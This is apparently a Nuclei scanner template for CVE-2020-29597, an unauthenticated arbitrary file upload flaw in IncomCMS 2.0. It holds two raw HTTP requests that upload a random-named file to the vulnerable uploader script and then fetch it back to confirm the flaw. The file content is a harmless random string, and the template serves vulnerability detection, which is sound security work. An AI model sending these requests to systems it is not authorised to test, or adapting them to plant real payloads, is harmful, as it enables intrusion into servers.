61 lines
2.1 KiB
YAML
61 lines
2.1 KiB
YAML
id: CVE-2020-29597
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info:
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name: IncomCMS 2.0 - Arbitrary File Upload
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author: princechaddha
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severity: critical
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description: |
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IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.
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remediation: |
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Apply the latest security patch or update to a version that addresses the vulnerability.
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reference:
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- https://github.com/Trhackno/CVE-2020-29597
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- https://nvd.nist.gov/vuln/detail/CVE-2020-29597
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- https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md
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- https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-29597
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cwe-id: CWE-434
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epss-score: 0.81807
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epss-percentile: 0.98007
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cpe: cpe:2.3:a:incomcms_project:incomcms:2.0:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: incomcms_project
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product: incomcms
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tags: cve,cve2020,incomcms,fileupload,intrusive
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http:
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- raw:
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- |
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POST /incom/modules/uploader/showcase/script.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt
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------WebKitFormBoundaryBEJZt0IK73M2mAbt
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Content-Disposition: form-data; name="Filedata"; filename="{{randstr_1}}.png"
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Content-Type: text/html
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{{randstr_2}}
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------WebKitFormBoundaryBEJZt0IK73M2mAbt--
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- |
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GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers-condition: and
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matchers:
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- type: word
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part: body_1
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words:
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- '{"status":"1","name":"{{randstr_1}}.png"}'
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- type: word
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part: body_2
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words:
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- '{{randstr_2}}'
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# digest: 490a0046304402203a2d8594beb272d27c2a0b14f7b9c970d7b299b2bec3e1ec293c4792a79bd5ef02204575f45594347dc24ef42a0a2210a4d3d72875e9c6decd1f621b7fb3beb4a4a9:922c64590222798bb761d5b6d8e72950 |